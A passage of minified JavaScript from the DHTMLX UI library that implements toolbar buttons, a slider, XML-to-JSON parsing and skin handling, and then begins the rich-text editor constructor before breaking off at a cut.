i=0;i<this.p_tbody.childNodes.length;i++)if(this.p_tbody.childNodes[i]==this._listOptions[t].tr)e=i+1;return e};this.setListOptionImage=function(e,i){if(!this._isListButton(e))return;var n=this._listOptions[e].tr.childNodes[t.rtl?1:0];n.innerHTML=\"<img src='\"+t.conf.icons_path+i+\"' class='btn_sel_img'>\";n=null};this.getListOptionImage=function(e){if(!this._isListButton(e))return;var i=this._listOptions[e].tr.childNodes[t.rtl?1:0];var n=null;if(i.childNodes.length>0)n=i.childNodes[0].src;i=null;return n};this.clearListOptionImage=function(e){if(!this._isListButton(e))return;var i=this._listOptions[e].tr.childNodes[t.rtl?1:0];while(i.childNodes.length>0)i.removeChild(i.childNodes[0]);i.innerHTML=\"&nbsp;\";i=null};this.setListOptionText=function(e,i){if(!this._isListButton(e))return;this._listOptions[e].tr.childNodes[t.rtl?0:1].childNodes[0].innerHTML=i};this.getListOptionText=function(e){if(!this._isListButton(e))return;return this._listOptions[e].tr.childNodes[t.rtl?0:1].childNodes[0].innerHTML};this.setListOptionToolTip=function(t,e){if(!this._isListButton(t))return;this._listOptions[t].tr.title=e};this.getListOptionToolTip=function(t){if(!this._isListButton(t))return;return this._listOptions[t].tr.title};this.forEachListOption=function(t){for(var e in this._listOptions)t(e)};this.getAllListOptions=function(){var t=new Array;for(var e in this._listOptions)t[t.length]=e;return t};this.setListOptionSelected=function(t){for(var e in this._listOptions){var i=this._listOptions[e];if(i.td_a!=null&&i.td_b!=null&&i.tr.en){if(e==t){i.tr._selected=true;i.tr.className=\"tr_btn\"+(this.renderSelect?\" tr_btn_selected\":\"\");if(this.mode==\"select\"){if(i.tr._img)this.setItemImage(i.tr._img);else this.clearItemImage();this.setItemText(this.getListOptionText(t))}}else{i.tr._selected=false;i.tr.className=\"tr_btn\"}}i=null}};this.getListOptionSelected=function(){var t=null;for(var e in this._listOptions)if(this._listOptions[e].tr._selected==true)t=e;return t};this._isListButton=function(t,e){if(this._listOptions[t]==null)return false;if(!e&&this._listOptions[t].tr.className==\"tr_sep\")return false;return true};this.setMaxOpen=function(t){this._ph=null;if(typeof t==\"number\"){this.maxOpen=t;this._maxOpenTest();return}this.maxOpen=null};if(i.width)this.setWidth(i.width);if(this.mode==\"select\"&&typeof i.selected!=\"undefined\")this.setListOptionSelected(i.selected);return this};dhtmlXToolbarObject.prototype._buttonInputObject=function(t,e,i){this.id=t.idPrefix+e;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.idd=String(e);this.obj.w=i.width!=null?i.width:100;this.obj.title=i.title!=null?i.title:\"\";this.obj.innerHTML=\"<input class='dhxtoolbar_input' type='text' style='width:\"+this.obj.w+\"px;'\"+(i.value!=null?\" value='\"+i.value+\"'\":\"\")+\">\";var n=t;var s=this;this.obj.childNodes[0].onkeydown=function(t){t=t||event;if(t.keyCode==13){n.callEvent(\"onEnter\",[s.obj.idd,this.value])}};t.base.appendChild(this.obj);this.enableItem=function(){this.obj.childNodes[0].disabled=false};this.disableItem=function(){this.obj.childNodes[0].disabled=true};this.isEnabled=function(){return!this.obj.childNodes[0].disabled};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display!=\"none\"};this.setValue=function(t){this.obj.childNodes[0].value=t};this.getValue=function(){return this.obj.childNodes[0].value};this.setWidth=function(t){this.obj.w=t;this.obj.childNodes[0].style.width=this.obj.w+\"px\"};this.getWidth=function(){return this.obj.w};this.setItemToolTip=function(t){this.obj.title=t};this.getItemToolTip=function(){return this.obj.title};this.getInput=function(){return this.obj.firstChild};if(typeof i.enabled!=\"undefined\"&&window.dhx4.s2b(i.enabled)==false){this.disableItem()}return this};dhtmlXToolbarObject.prototype._buttonTwoStateObject=function(t,e,i){this.id=t.idPrefix+e;this.state=i.enabled!=null?false:true;this.imgEn=i.img!=null?i.img:\"\";this.imgDis=i.imgdis!=null?i.imgdis:\"\";this.img=this.state?this.imgEn!=\"\"?this.imgEn:\"\":this.imgDis!=\"\"?this.imgDis:\"\";this.obj=document.createElement(\"DIV\");this.obj.pressed=i.selected!=null;this.obj.extAction=i.action||null;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.obj.pressed?\"pres\"+(this.state?\"\":\"_dis\"):this.state?\"def\":\"dis\");this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.renderAs=this.obj.className;this.obj.idd=String(e);this.obj.title=i.title||\"\";if(this.obj.pressed){this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}this.obj.innerHTML=t._rtlParseBtn(this.img!=\"\"?\"<img src='\"+t.conf.icons_path+this.img+\"'>\":\"\",i.text!=null?\"<div class='dhxtoolbar_text'>\"+i.text+\"</div>\":\"\");t.base.appendChild(this.obj);var n=this;this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){if(n.state==false)return;if(t.anyUsed!=\"none\")return;if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){if(n.state==false)return;if(t.anyUsed!=\"none\")return;if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.className};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(e){if(t.checkEvent(\"onBeforeStateChange\"))if(!t.callEvent(\"onBeforeStateChange\",[this.idd.replace(t.idPrefix,\"\"),this.pressed]))return;if(n.state==false)return;if(t.anyUsed!=\"none\")return;this.pressed=!this.pressed;this.className=this.pressed?\"dhx_toolbar_btn dhxtoolbar_btn_pres\":this.renderAs;var i=this.idd.replace(t.idPrefix,\"\");if(this.extAction)try{window[this.extAction](i,this.pressed)}catch(e){}t.callEvent(\"onStateChange\",[i,this.pressed]);return false};this.setItemState=function(e,i){if(this.obj.pressed!=e){if(e==true){this.obj.pressed=true;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\"+(this.state?\"\":\"_dis\");this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{this.obj.pressed=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.renderAs=this.obj.className}if(i==true){var n=this.obj.idd.replace(t.idPrefix,\"\");if(this.obj.extAction)try{window[this.obj.extAction](n,this.obj.pressed)}catch(s){}t.callEvent(\"onStateChange\",[n,this.obj.pressed])}}};this.getItemState=function(){return this.obj.pressed};this.enableItem=function(){t._enableItem(this)};this.disableItem=function(){t._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};this.setItemText=function(e){t._setItemText(this,e)};this.getItemText=function(){return t._getItemText(this)};this.setItemImage=function(e){t._setItemImage(this,e,true)};this.clearItemImage=function(){t._clearItemImage(this,true)};this.setItemImageDis=function(e){t._setItemImage(this,e,false)};this.clearItemImageDis=function(){t._clearItemImage(this,false)};this.setItemToolTip=function(t){this.obj.title=t};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._sliderObject=function(t,e,i){this.id=t.idPrefix+e;this.state=i.enabled!=null?i.enabled==\"true\"?true:false:true;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=i.hidden!=null?\"none\":\"\";this.obj.onselectstart=function(t){t=t||event;if(t.preventDefault)t.preventDefault();else t.returnValue=false};this.obj.idd=String(e);this.obj.len=i.length!=null?Number(i.length):50;this.obj.innerHTML=\"<div class='dhxtoolbar_text'>\"+(i.textMin||\"\")+\"</div>\"+\"<div class='dhxtoolbar_sl_bg_l'></div>\"+\"<div class='dhxtoolbar_sl_bg_m' style='width:\"+this.obj.len+\"px;'></div>\"+\"<div class='dhxtoolbar_sl_bg_r'></div>\"+\"<div class='dhxtoolbar_text'>\"+(i.textMax||\"\")+\"</div>\";t.base.appendChild(this.obj);var n=this;this.pen=document.createElement(\"DIV\");this.pen.className=\"dhxtoolbar_sl_pen\";this.obj.appendChild(this.pen);var s=this.pen;this.label=document.createElement(\"DIV\");this.label.dir=\"ltr\";this.label.className=\"dhx_toolbar_slider_label_\"+t.conf.skin+(t.rtl?\"_rtl\":\"\");this.label.style.display=\"none\";this.label.tip=i.toolTip||\"%v\";this.label._zi=window.dhx4.newId();document.body.appendChild(this.label);var l=this.label;this.pen.valueMin=i.valueMin!=null?Number(i.valueMin):0;this.pen.valueMax=i.valueMax!=null?Number(i.valueMax):100;if(this.pen.valueMin>this.pen.valueMax)this.pen.valueMin=this.pen.valueMax;this.pen.valueNow=i.valueNow!=null?Number(i.valueNow):this.pen.valueMax;if(this.pen.valueNow>this.pen.valueMax)this.pen.valueNow=this.pen.valueMax;if(this.pen.valueNow<this.pen.valueMin)this.pen.valueNow=this.pen.valueMin;this.pen._detectLimits=function(){this.minX=n.obj.childNodes[1].offsetLeft+2;this.maxX=n.obj.childNodes[3].offsetLeft-this.offsetWidth+1};this.pen._detectLimits();this.pen._definePos=function(){this.nowX=Math.round((this.valueNow-this.valueMin)*(this.maxX-this.minX)/(this.valueMax-this.valueMin)+this.minX);this.style.left=this.nowX+\"px\";this.newNowX=this.nowX};this.pen._definePos();this.pen.initXY=0;this.pen.allowMove=false;this.pen[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(t){if(n.state==false)return;t=t||event;this.initXY=window.dhx4.isIPad?t.touches[0].clientX:t.clientX;this.newValueNow=this.valueNow;this.allowMove=true;this.className=\"dhxtoolbar_sl_pen dhxtoolbar_over\";if(l.tip!=\"\"){l.style.visibility=\"hidden\";l.style.display=\"\";l.innerHTML=l.tip.replace(\"%v\",this.valueNow);l.style.left=Math.round(window.dhx4.absLeft(this)+this.offsetWidth/2-l.offsetWidth/2)+\"px\";l.style.top=window.dhx4.absTop(this)-l.offsetHeight-3+\"px\";l.style.visibility=\"\";l.style.zIndex=window.dhx4.zim.reserve(l._zi)}};this.pen._doOnMouseMoveStart=function(t){t=t||event;if(!s.allowMove)return;var e=window.dhx4.isIPad?t.touches[0].clientX:t.clientX;var i=e-s.initXY;if(e<window.dhx4.absLeft(s)+Math.round(s.offsetWidth/2)&&s.nowX==s.minX)return;if(e>window.dhx4.absLeft(s)+Math.round(s.offsetWidth/2)&&s.nowX==s.maxX)return;s.newNowX=s.nowX+i;if(s.newNowX<s.minX)s.newNowX=s.minX;if(s.newNowX>s.maxX)s.newNowX=s.maxX;s.nowX=s.newNowX;s.style.left=s.nowX+\"px\";s.initXY=e;s.newValueNow=Math.round((s.valueMax-s.valueMin)*(s.newNowX-s.minX)/(s.maxX-s.minX)+s.valueMin);if(l.tip!=\"\"){l.innerHTML=l.tip.replace(/%v/gi,s.newValueNow);l.style.left=Math.round(window.dhx4.absLeft(s)+s.offsetWidth/2-l.offsetWidth/2)+\"px\";l.style.top=window.dhx4.absTop(s)-l.offsetHeight-3+\"px\"}t.cancelBubble=true;if(t.preventDefault)t.preventDefault();else t.returnValue=false;return false};this.pen._doOnMouseMoveEnd=function(){if(!s.allowMove)return;s.className=\"dhxtoolbar_sl_pen\";s.allowMove=false;s.nowX=s.newNowX;s.valueNow=s.newValueNow;if(l.tip!=\"\"){l.style.display=\"none\";window.dhx4.zim.clear(l._zi)}t.callEvent(\"onValueChange\",[n.obj.idd.replace(t.idPrefix,\"\"),s.valueNow])};if(window.dhx4.isIPad){document.addEventListener(\"touchmove\",s._doOnMouseMoveStart,false);document.addEventListener(\"touchend\",s._doOnMouseMoveEnd,false)}else{if(typeof window.addEventListener!=\"undefined\"){window.addEventListener(\"mousemove\",s._doOnMouseMoveStart,false);window.addEventListener(\"mouseup\",s._doOnMouseMoveEnd,false)}else{document.body.attachEvent(\"onmousemove\",s._doOnMouseMoveStart);document.body.attachEvent(\"onmouseup\",s._doOnMouseMoveEnd)}}this.enableItem=function(){if(this.state)return;this.state=true;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\"};this.disableItem=function(){if(!this.state)return;this.state=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_dis\"};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return this.obj.style.display==\"\"};this.setValue=function(e,i){e=Number(e);if(e<this.pen.valueMin)e=this.pen.valueMin;if(e>this.pen.valueMax)e=this.pen.valueMax;this.pen.valueNow=e;this.pen._definePos();if(i==true)t.callEvent(\"onValueChange\",[this.obj.idd.replace(t.idPrefix,\"\"),this.pen.valueNow])};this.getValue=function(){return this.pen.valueNow};this.setMinValue=function(t,e){t=Number(t);if(t>this.pen.valueMax)return;this.obj.childNodes[0].innerHTML=e;this.obj.childNodes[0].style.display=e.length>0?\"\":\"none\";this.pen.valueMin=t;if(this.pen.valueNow<this.pen.valueMin)this.pen.valueNow=this.pen.valueMin;this.pen._detectLimits();this.pen._definePos()};this.setMaxValue=function(t,e){t=Number(t);if(t<this.pen.valueMin)return;this.obj.childNodes[4].innerHTML=e;this.obj.childNodes[4].style.display=e.length>0?\"\":\"none\";this.pen.valueMax=t;if(this.pen.valueNow>this.pen.valueMax)this.pen.valueNow=this.pen.valueMax;this.pen._detectLimits();this.pen._definePos()};this.getMinValue=function(){var t=this.obj.childNodes[0].innerHTML;var e=this.pen.valueMin;return new Array(e,t)};this.getMaxValue=function(){var t=this.obj.childNodes[4].innerHTML;var e=this.pen.valueMax;return new Array(e,t)};this.setItemToolTipTemplate=function(t){this.label.tip=t};this.getItemToolTipTemplate=function(){return this.label.tip};return this};dhtmlXToolbarObject.prototype.unload=function(){if(this.conf.isIPad){document.removeEventListener(\"touchstart\",this._doOnClick,false)}else{if(typeof window.addEventListener==\"function\"){window.removeEventListener(\"mousedown\",this._doOnClick,false)}else{document.body.detachEvent(\"onmousedown\",this._doOnClick)}}this._doOnClick=null;this.clearAll();this.objPull=null;if(this._xmlLoader){this._xmlLoader.destructor();this._xmlLoader=null}while(this.base.childNodes.length>0)this.base.removeChild(this.base.childNodes[0]);this.cont.removeChild(this.base);this.base=null;while(this.cont.childNodes.length>0)this.cont.removeChild(this.cont.childNodes[0]);this.cont.className=\"\";this.cont=null;window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");this.tX1=null;this.tX2=null;this.tY1=null;this.tY2=null;this.anyUsed=null;this.idPrefix=null;this.rootTypes=null;this._rtl=null;this._rtlParseBtn=null;this.setRTL=null;this._sbw=null;this._getObj=null;this._addImgObj=null;this._setItemImage=null;this._clearItemImage=null;this._setItemText=null;this._getItemText=null;this._enableItem=null;this._disableItem=null;this._xmlParser=null;this._addItemToStorage=null;this._genStr=null;this._addItem=null;this._getPosition=null;this._setPosition=null;this._getIdByPosition=null;this._separatorObject=null;this._textObject=null;this._buttonObject=null;this._buttonSelectObject=null;this._buttonInputObject=null;this._buttonTwoStateObject=null;this._sliderObject=null;this._autoDetectVisibleArea=null;this._removeItem=null;this.setAlign=null;this.setSkin=null;this.setIconsPath=null;this.setIconPath=null;this.loadXML=null;this.loadXMLString=null;this.clearAll=null;this.addSpacer=null;this.removeSpacer=null;this.getType=null;this.getTypeExt=null;this.inArray=null;this.getParentId=null;this.addButton=null;this.addText=null;this.addButtonSelect=null;this.addButtonTwoState=null;this.addSeparator=null;this.addSlider=null;this.addInput=null;this.forEachItem=null;this.showItem=null;this.hideItem=null;this.isVisible=null;this.enableItem=null;this.disableItem=null;this.isEnabled=null;this.setItemText=null;this.getItemText=null;this.setItemToolTip=null;this.getItemToolTip=null;this.setItemImage=null;this.setItemImageDis=null;this.clearItemImage=null;this.clearItemImageDis=null;this.setItemState=null;this.getItemState=null;this.setItemToolTipTemplate=null;this.getItemToolTipTemplate=null;this.setValue=null;this.getValue=null;this.setMinValue=null;this.getMinValue=null;this.setMaxValue=null;this.getMaxValue=null;this.setWidth=null;this.getWidth=null;this.getPosition=null;this.setPosition=null;this.removeItem=null;this.addListOption=null;this.removeListOption=null;this.showListOption=null;this.hideListOption=null;this.isListOptionVisible=null;this.enableListOption=null;this.disableListOption=null;this.isListOptionEnabled=null;this.setListOptionPosition=null;this.getListOptionPosition=null;this.setListOptionText=null;this.getListOptionText=null;this.setListOptionToolTip=null;this.getListOptionToolTip=null;this.setListOptionImage=null;this.getListOptionImage=null;this.clearListOptionImage=null;this.forEachListOption=null;this.getAllListOptions=null;this.setListOptionSelected=null;this.getListOptionSelected=null;this.unload=null;this.setUserData=null;this.getUserData=null;this.setMaxOpen=null;this.items=null;this.conf=null};dhtmlXToolbarObject.prototype._autoDetectVisibleArea=function(){var t=window.dhx4.screenDim();this.tX1=t.left;this.tX2=t.right;this.tY1=t.top;this.tY2=t.bottom};dhtmlXToolbarObject.prototype._initObj=function(t){for(var e=0;e<t.length;e++)this._addItemToStorage(t[e]);if(this.conf.skin==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype._xmlToJson=function(t){var e=[];var i=t.getElementsByTagName(\"toolbar\");if(i!=null&&i[0]!=null){i=i[0];var n=function(t){var e=t.getElementsByTagName(\"itemText\");if(e!=null&&e[0]!=null)return window.dhx4._xmlNodeValue(e[0]);return null};var s=[\"id\",\"type\",\"hidden\",\"title\",\"text\",\"enabled\",\"img\",\"imgdis\",\"action\",\"openAll\",\"renderSelect\",\"mode\",\"maxOpen\",\"width\",\"value\",\"selected\",\"length\",\"textMin\",\"textMax\",\"toolTip\",\"valueMin\",\"valueMax\",\"valueNow\"];var l=[\"id\",\"type\",\"enabled\",\"disabled\",\"action\",\"selected\",\"img\",\"text\"];for(var o=0;o<i.childNodes.length;o++){if(i.childNodes[o].tagName==\"item\"){var a={};for(var r=0;r<s.length;r++){var h=i.childNodes[o].getAttribute(s[r]);if(h!=null)a[s[r]]=h}for(var d=0;d<i.childNodes[o].childNodes.length;d++){if(i.childNodes[o].childNodes[d].tagName==\"item\"&&a.type==\"buttonSelect\"){var u={};for(var r=0;r<l.length;r++){var h=i.childNodes[o].childNodes[d].getAttribute(l[r]);if(h!=null)u[l[r]]=h}var c=i.childNodes[o].childNodes[d].getElementsByTagName(\"userdata\");for(var r=0;r<c.length;r++){if(!u.userdata)u.userdata={};var b={};try{b.name=c[r].getAttribute(\"name\")}catch(f){b.name=null}try{b.value=c[r].firstChild.nodeValue}catch(f){b.value=\"\"}if(b.name!=null)u.userdata[b.name]=b.value}u.text=n(i.childNodes[o].childNodes[d])||u.text;if(a.options==null)a.options=[];a.options.push(u)}if(i.childNodes[o].childNodes[d].tagName==\"userdata\"){if(a.userdata==null)a.userdata={};var u={};try{u.name=i.childNodes[o].childNodes[d].getAttribute(\"name\")}catch(f){u.name=null}try{u.value=i.childNodes[o].childNodes[d].firstChild.nodeValue}catch(f){u.value=\"\"}if(u.name!=null)a.userdata[u.name]=u.value}}a.text=n(i.childNodes[o])||a.text;e.push(a)}}n=null}return e};dhtmlXToolbarObject.prototype._addItemToStorage=function(t,e){var i=t.id||this._genStr(24);var n=t.type||\"\";if(n==\"spacer\"){this.addSpacer(this._lastId)}else{this._lastId=i}if(n!=\"\"&&this[\"_\"+n+\"Object\"]!=null){if(n==\"buttonSelect\"){if(t.options!=null){for(var s=0;s<t.options.length;s++){if(t.options[s].type==\"obj\")t.options[s].type=\"button\";if(t.options[s].type==\"sep\")t.options[s].type=\"separator\"}}}if(n==\"slider\"){var l={tip_template:\"toolTip\",value_min:\"valueMin\",value_max:\"valueMax\",value_now:\"valueNow\",text_min:\"textMin\",text_max:\"textMax\"};for(var o in l){if(t[l[o]]==null&&t[o]!=null)t[l[o]]=t[o]}}if(n==\"buttonInput\"){if(t.value==null&&t.text!=null)t.value=t.text}if(n==\"buttonTwoState\"){if(typeof t.selected==\"undefined\"&&typeof t.pressed!=\"undefined\"&&window.dhx4.s2b(t.pressed)){t.selected=true}}if(typeof t.enabled==\"undefined\"&&typeof t.disabled!=\"undefined\"&&window.dhx4.s2b(t.disabled)){t.enabled=false}if(t.imgDis==null&&t.img_disabled!=null){t.imgdis=t.img_disabled}if((typeof t.openAll==\"undefined\"||t.openAll==null)&&this.conf.skin==\"dhx_terrace\")t.openAll=true;this.objPull[this.idPrefix+i]=new this[\"_\"+n+\"Object\"](this,i,t);this.objPull[this.idPrefix+i][\"type\"]=n;this.setPosition(i,e)}if(t.userdata!=null){for(var o in t.userdata)this.setUserData(i,o,t.userdata[o])}if(t.options!=null){for(var s=0;s<t.options.length;s++){if(t.options[s].userdata!=null){for(var o in t.options[s].userdata){this.setListOptionUserData(t.id,t.options[s].id,o,t.options[s].userdata[o])}}}}};dhtmlXToolbarObject.prototype.setSkin=function(t,e){if(e===true){this.cont.className=this.cont.className.replace(/dhxtoolbar_icons_\\d{1,}/,\"dhxtoolbar_icons_\"+this.conf.iconSize)}else{this.conf.skin=t;if(this.conf.skin==\"dhx_skyblue\"){this.conf.sel_ofs_y=1}if(this.conf.skin==\"dhx_web\"){this.conf.sel_ofs_y=1;this.conf.sel_ofs_x=1}if(this.conf.skin==\"dhx_terrace\"){this.conf.sel_ofs_y=-1;this.conf.sel_ofs_x=0}this.cont.className=\"dhx_toolbar_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}for(var i in this.objPull){var n=this.objPull[i];if(n[\"type\"]==\"slider\"){n.pen._detectLimits();n.pen._definePos();n.label.className=\"dhx_toolbar_slider_label_\"+this.conf.skin}if(n[\"type\"]==\"buttonSelect\"){n.polygon.className=\"dhx_toolbar_poly_\"+this.conf.skin+\" dhxtoolbar_icons_\"+this.conf.iconSize}}if(t==\"dhx_terrace\")this._improveTerraceSkin()};dhtmlXToolbarObject.prototype.setAlign=function(t){this.conf.align=t==\"right\"?\"right\":\"left\";this.base.className=t==\"right\"?\"dhxtoolbar_float_right\":\"dhxtoolbar_float_left\";if(this._spacer)this._spacer.className=t==\"right\"?\" dhxtoolbar_float_left\":\" dhxtoolbar_float_right\"};dhtmlXToolbarObject.prototype.setIconSize=function(t){this.conf.iconSize={18:true,24:true,32:true,48:true}[t]?t:18;this.setSkin(this.conf.skin,true);this.callEvent(\"_onIconSizeChange\",[this.conf.iconSize])};dhtmlXToolbarObject.prototype.setIconsPath=function(t){this.conf.icons_path=t};dhtmlXToolbarObject.prototype.setUserData=function(t,e,i){t=this.idPrefix+t;if(this.objPull[t]!=null){if(this.objPull[t].userData==null)this.objPull[t].userData={};this.objPull[t].userData[e]=i}};dhtmlXToolbarObject.prototype.getUserData=function(t,e){t=this.idPrefix+t;if(this.objPull[t]!=null&&this.objPull[t].userData!=null)return this.objPull[t].userData[e]||null;return null};dhtmlXToolbarObject.prototype._isListOptionExists=function(t,e){if(this.objPull[this.idPrefix+t]==null)return false;var i=this.objPull[this.idPrefix+t];if(i.type!=\"buttonSelect\")return false;if(i._listOptions[e]==null)return false;\nreturn true};dhtmlXToolbarObject.prototype.setListOptionUserData=function(t,e,i,n){if(!this._isListOptionExists(t,e))return;var s=this.objPull[this.idPrefix+t]._listOptions[e];if(s.userData==null)s.userData={};s.userData[i]=n};dhtmlXToolbarObject.prototype.getListOptionUserData=function(t,e,i){if(!this._isListOptionExists(t,e))return null;var n=this.objPull[this.idPrefix+t]._listOptions[e];if(!n.userData)return null;return n.userData[i]?n.userData[i]:null};dhtmlXToolbarObject.prototype._improveTerraceSkin=function(){if(this.conf.terrace_radius==null)this.conf.terrace_radius=\"3px\";var t=[];var e={separator:true,text:true};var i=[this.base];if(this._spacer!=null)i.push(this._spacer);for(var n=0;n<i.length;n++){t[n]=[];for(var s=0;s<i[n].childNodes.length;s++){if(i[n].childNodes[s].idd!=null&&i[n].childNodes[s].style.display!=\"none\"){var l=this.idPrefix+i[n].childNodes[s].idd;if(this.objPull[l]!=null&&this.objPull[l].obj==i[n].childNodes[s]){t[n].push({a:l,type:this.objPull[l].type,node:this.objPull[l][this.objPull[l].type==\"buttonSelect\"?\"arw\":\"obj\"]})}}}i[n]=null}for(var n=0;n<t.length;n++){for(var s=0;s<t[n].length;s++){var o=t[n][s];var a=false;var r=false;if(!e[o.type]){if(s==t[n].length-1||t[n][s+1]!=null&&e[t[n][s+1].type])a=true;if(s==0||s-1>=0&&t[n][s-1]!=null&&e[t[n][s-1].type])r=true}o.node.style.borderRightWidth=a?\"1px\":\"0px\";o.node.style.borderTopRightRadius=o.node.style.borderBottomRightRadius=a?this.conf.terrace_radius:\"0px\";if(o.type==\"buttonSelect\"){o.node.previousSibling.style.borderTopLeftRadius=o.node.previousSibling.style.borderBottomLeftRadius=r?this.conf.terrace_radius:\"0px\";o.node.previousSibling._br=a;o.node.previousSibling._bl=r}else{o.node.style.borderTopLeftRadius=o.node.style.borderBottomLeftRadius=r?this.conf.terrace_radius:\"0px\"}o.node._br=a;o.node._bl=r}}for(var n=0;n<t.length;n++){for(var s=0;s<t[n].length;s++){for(var l in t[n][s])t[n][s][l]=null;t[n][s]=null}t[n]=null}t=i=null};dhtmlXToolbarObject.prototype._improveTerraceButtonSelect=function(t,e){var i=this.objPull[t];if(e==true){i.obj.style.borderBottomLeftRadius=i.obj._bl?this.conf.terrace_radius:\"0px\";i.arw.style.borderBottomRightRadius=i.obj._br?this.conf.terrace_radius:\"0px\"}else{i.obj.style.borderBottomLeftRadius=\"0px\";i.arw.style.borderBottomRightRadius=\"0px\"}i=null};if(typeof window.dhtmlXCellObject!=\"undefined\"){dhtmlXCellObject.prototype._createNode_toolbar=function(t,e,i,n,s){if(typeof s!=\"undefined\"){t=s}else{t=document.createElement(\"DIV\");t.className=\"dhx_cell_toolbar_\"+(this.conf.borders?\"def\":\"no_borders\");t.appendChild(document.createElement(\"DIV\"));t.firstChild.className=\"dhx_toolbar_base_18_dhx_skyblue\"}this.cell.insertBefore(t,this.cell.childNodes[this.conf.idx.cont]);this.conf.ofs_nodes.t.toolbar=true;this._updateIdx();return t};dhtmlXCellObject.prototype.attachToolbar=function(t){if(!(this.dataNodes.ribbon==null&&this.dataNodes.toolbar==null))return;this.callEvent(\"_onBeforeContentAttach\",[\"toolbar\"]);if(typeof t==\"undefined\"){t={}}else if(typeof t==\"string\"){t={skin:t}}if(typeof t.skin==\"undefined\")t.skin=this.conf.skin;t.parent=this._attachObject(\"toolbar\").firstChild;this.dataNodes.toolbar=new dhtmlXToolbarObject(t);this._adjustCont(this._idd);this.dataNodes.toolbar._masterCell=this;this.dataNodes.toolbar.attachEvent(\"_onIconSizeChange\",function(){this._masterCell._adjustCont()});t.parent=null;t=null;this.callEvent(\"_onContentAttach\",[]);return this.dataNodes.toolbar};dhtmlXCellObject.prototype.detachToolbar=function(){if(!this.dataNodes.toolbar)return;this.dataNodes.toolbar._masterCell=null;this.dataNodes.toolbar.unload();this.dataNodes.toolbar=null;delete this.dataNodes.toolbar;this._detachObject(\"toolbar\")};dhtmlXCellObject.prototype.showToolbar=function(){this._mtbShowHide(\"toolbar\",\"\")};dhtmlXCellObject.prototype.hideToolbar=function(){this._mtbShowHide(\"toolbar\",\"none\")};dhtmlXCellObject.prototype.getAttachedToolbar=function(){return this.dataNodes.toolbar}}\n\n  function dhtmlXEditor(e,g){var c=this;this.conf={content:\"\",contentHTML:\"\",resizeTM:null,resizeTMTime:100,roMode:false,toolbar:false,iconsPath:\"\",evs:[\"focus\",\"blur\",\"keydown\",\"keyup\",\"keypress\",\"mouseup\",\"mousedown\",\"click\",\"touchend\"],iOSfix:(navigator.userAgent.match(/Mobile/gi)!=null&&navigator.userAgent.match(/iPad/gi)!=null&&navigator.userAgent.match(/AppleWebKit/gi)!=null)};this._doOnFocusChanged=null;this._doOnAccess=null;if(typeof(e)==\"object\"&&e!=null&&e.tagName==null){g=e.skin;if(e.content!=null){this.conf.content=e.content}if(e.contentHTML!=null){this.conf.contentHTML=e.contentHTML}if(e.iconsPath!=null){this.conf.iconsPath=e.iconsPath}if(e.toolbar!=null){this.conf.toolbar=window.dhx4.s2b(e.toolbar)}if(e.onFocusChanged!=null){this._doOnFocusChanged=e.onFocusChanged}if(e.onAccess!=null){this._doOnAccess=e.onAccess}e=e.parent}this.conf.skin=(g||window.dhx4.skin||(typeof(dhtmlx)!=\"undefined\"?dhtmlx.skin:null)||window.dhx4.skinDetect(\"dhxeditor\")||\"dhx_skyblue\");if(typeof(e)==\"string\"){e=document.getElementById(e)}this.base=e;this.base.className+=\" dhxeditor_\"+this.conf.skin;while(this.base.childNodes.length>0){this.base.removeChild(this.base.childNodes[0])}var h=(window.dhx4.isIE?this.base.currentStyle.position:window.getComputedStyle(this.base,null).getPropertyValue(\"position\"));if(!(h==\"relative\"||h==\"absolute\")){this.base.style.position=\"relative\"}this.cell=new dhtmlXEditorCell(window.dhx4.newId(),this);this.base.appendChild(this.cell.cell);this.cBlock=document.createElement(\"DIV\");this.cBlock.className=\"dhxcont_content_blocker\";this.cBlock.style.display=\"none\";this.base.appendChild(this.cBlock);this.editor=document.createElement(\"IFRAME\");this.editor.className=\"dhxeditor_mainiframe\";this.editor.frameBorder=0;if(window.dhx4.isOpera){this.editor.scrolling=\"yes\"}this.setSizes();var a=this.editor;if(typeof(window.addEventListener)!=\"undefined\"){a.onload=function(){for(var 